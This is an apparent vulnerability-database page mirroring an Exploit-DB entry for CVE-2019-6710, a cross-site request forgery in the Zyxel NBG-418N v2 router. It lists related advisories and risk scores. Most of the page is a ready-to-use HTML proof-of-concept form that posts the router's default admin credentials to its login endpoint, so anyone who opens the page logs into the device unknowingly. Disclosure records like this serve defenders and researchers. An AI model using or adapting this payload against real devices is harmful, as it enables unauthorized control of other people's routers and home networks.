Zyxel NBG-418N v2 Modem 1.00(AAXM.6)C0 - Cross-Site Request Forgery

🗓️ 24 Jan 2019 00:00:00Reported by Ali Can GönüllüType

exploitdb🔗 www.exploit-db.com👁 496 Views

Zyxel NBG-418N v2 Modem CSRF Exploit & PoC version 1.00(AAXM.6)C

Reporter	Title	Published	Views	Family All 8
0day.today	Zyxel NBG-418N v2 Modem 1.00(AAXM.6)C0 - Cross-Site Request Forgery Vulnerability	24 Jan 201900:00	–	zdt
CVE	CVE-2019-6710	7 Mar 201922:00	–	cve
Cvelist	CVE-2019-6710	7 Mar 201922:00	–	cvelist
EUVD	EUVD-2019-16268	7 Oct 202500:30	–	euvd
exploitpack	Zyxel NBG-418N v2 Modem 1.00(AAXM.6)C0 - Cross-Site Request Forgery	24 Jan 201900:00	–	exploitpack
NVD	CVE-2019-6710	7 Mar 201923:29	–	nvd
Packet Storm	Zyxel NBG-418N V2 Cross Site Request Forgery	24 Jan 201900:00	–	packetstorm
Prion	Cross site request forgery (csrf)	7 Mar 201923:29	–	prion

<!--
# Exploit Title: Zyxel NBG-418N v2 Modem CSRF Exploit & PoC
# Version: Zyxel NBG-418N v2 - V1.00(AAXM.6)C0
# Tested on: Windows 10 x64
# CVE : CVE-2019-6710
# Author : Ali Can Gönüllü
# Twitter : @alicangonullu

Exploits :
-->

<html><head>
<title>NBG-418N v2 Modem CSRF Exploit & PoC</title>
</head><body>
<form action="http://10.0.0.1/login.cgi" method="POST">
<input type="text" name="username" id="username" value="admin" /><br />
<input type="text" name="password" id="password" value="1234" /><br />
<input id="loginBtn" onclick="return onlogin()" type='submit' 
value='Go!' />
<input type="hidden" name="submit.htm?login.htm" value="Send">
</form>
</body></html>

24 Jan 2019 00:00Current

8.8High risk

Vulners AI Score8.8

CVSS 26.8

CVSS 38.8

EPSS0.00464